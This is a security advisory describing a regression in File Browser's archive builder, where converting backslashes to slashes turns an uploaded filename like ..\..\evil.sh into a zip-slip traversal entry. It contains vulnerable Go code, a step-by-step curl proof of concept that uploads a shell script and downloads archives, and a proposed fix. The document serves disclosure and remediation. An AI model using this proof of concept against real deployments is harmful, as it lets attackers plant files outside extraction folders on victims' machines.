File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)

The fix for GHSA-gxjx-7m74-hcq8 / CVE-2026-54093 (shipped in v2.63.6) added a strings.ReplaceAll(nameInArchive, "\\", "/") step to the archive builder; this was the advisory's recommended "Primary Fix." On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator / manufactures a /-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory's "Secondary Mitigation" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.

A file named ..\..\evil.sh, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry ../../evil.sh. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim's machine. The original advisory's own payload ..\..\..\Windows\System32\evil.txt now becomes ../../../Windows/System32/evil.txt, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.

1. The archive builder rewrites backslashes into path separators (http/raw.go:133)

 1nameInArchive := strings.TrimPrefix(path, commonPath)
 2nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
 3nameInArchive = filepath.ToSlash(nameInArchive)        // line 127, host separator only
 4// ... comment explaining the intent to strip Windows separators ...
 5nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/")   // line 133, creates traversal

filepath.ToSlash only rewrites the host separator, so on Linux a stored backslash survives until this explicit ReplaceAll. Replacing \ with the real separator / produces traversal rather than neutralizing it.

2. The rewritten name is used verbatim as the archive entry path (http/raw.go:137)

 1archiveFiles = append(archiveFiles, archives.FileInfo{
 2    FileInfo:      info,
 3    NameInArchive: nameInArchive,   // no path.Clean, no ".." rejection
 4    Open:          func() (fs.File, error) { return d.user.Fs.Open(path) },
 5})

The value is handed to the archiver, which writes the entry under exactly that name. There is no path.Clean, no rejection of .. segments, and no check that the entry stays within the archive root.

3. The malicious name is plantable through normal upload (http/resource.go, resourcePostHandler)

A backslash is a valid byte in a Linux filename, so ..\..\evil.sh is a single regular file inside the user's scope, it does not traverse on the server and passes the scope guard. resourcePostHandler derives the filename from r.URL.Path and cleans it with path.Clean("/" + ...), which only treats / as a separator; the URL-encoded segment ..%5C..%5Cevil.sh contains no /, so cleaning leaves it intact and the file is written verbatim. This is the "Secondary Mitigation" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.

4. Every archive format shares the sink

NameInArchive is the single shared field for all algo values (zip, tar, targz, …), so the traversal entry appears identically in every supported archive type.

Tested against filebrowser/filebrowser:v2.63.15.

Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:

 1#1. Create a dir in /tmp and start a fresh v2.63.15 container
 2mkdir -p /tmp/filebrowser-test/srv
 3docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
 4B=http://localhost:8090
 5 
 6#2. Log in (admin here, but any account with Create permission works)
 7AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
 8T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
 9 
10#3. Create the folder ziptest/
11curl -s -X POST "$B/api/resources/ziptest/" -H "X-Auth: $T" -o /dev/null
12 
13#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server)
14curl -s -X POST "$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true" -H "X-Auth: $T" \
15     --data-binary $'#!/bin/sh\necho PWNED' -o /dev/null
16 
17#5. Download the folder as a zip and as a targz
18curl -s "$B/api/raw/ziptest?algo=zip"   -H "X-Auth: $T" -o out.zip
19curl -s "$B/api/raw/ziptest?algo=targz" -H "X-Auth: $T" -o out.tar.gz
20 
21#6. Inspect the archive entry names: the backslash->slash rewrite turned ..\..\evil.sh into ../../evil.sh
22python3 -c "import zipfile;print('ZIP:',zipfile.ZipFile('out.zip').namelist())"
23python3 -c "import tarfile;print('TAR:',[m.name for m in tarfile.open('out.tar.gz').getmembers()])"

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

 1POST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true  -> 200   (stored on disk as the single file  ..\..\evil.sh)
 2GET  /api/raw/ziptest?algo=zip                               -> 200   (zip bytes)
 3GET  /api/raw/ziptest?algo=targz                             -> 200   (gzip bytes)

The archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:

 1ZIP: ['../../evil.sh']
 2TAR: ['../../evil.sh']

Extracting either archive with a permissive extractor writes evil.sh two directories above the intended target, outside the extraction folder.

• Zip-slip / tar-slip on the victim host: extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten.
• Who is affected: any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder.
• Regression that widened the blast radius: before this rewrite, ..\..\evil.sh only traversed on Windows extractors; afterwards the entry is ../../evil.sh and traverses on Linux and macOS extractors as well.
• Low attacker bar: only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim's extraction step.

The current ReplaceAll(nameInArchive, "\\", "/") is the root cause and should be removed: replacing a backslash with the POSIX separator / creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:

 1// http/raw.go, getFiles, replace the backslash->slash rewrite:
 2nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "_") // neutralize, do not separate
 3 
 4// And reject any residual traversal before adding the entry:
 5clean := path.Clean("/" + nameInArchive)
 6if strings.Contains(nameInArchive, "..") || clean != "/"+nameInArchive {
 7    return nil, fmt.Errorf("unsafe archive entry name: %q", nameInArchive)
 8}

Additionally, implement the "Secondary Mitigation" recommended in GHSA-gxjx-7m74-hcq8 but never shipped: reject or sanitize filenames containing backslashes at creation time in http/resource.go (resourcePostHandler), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.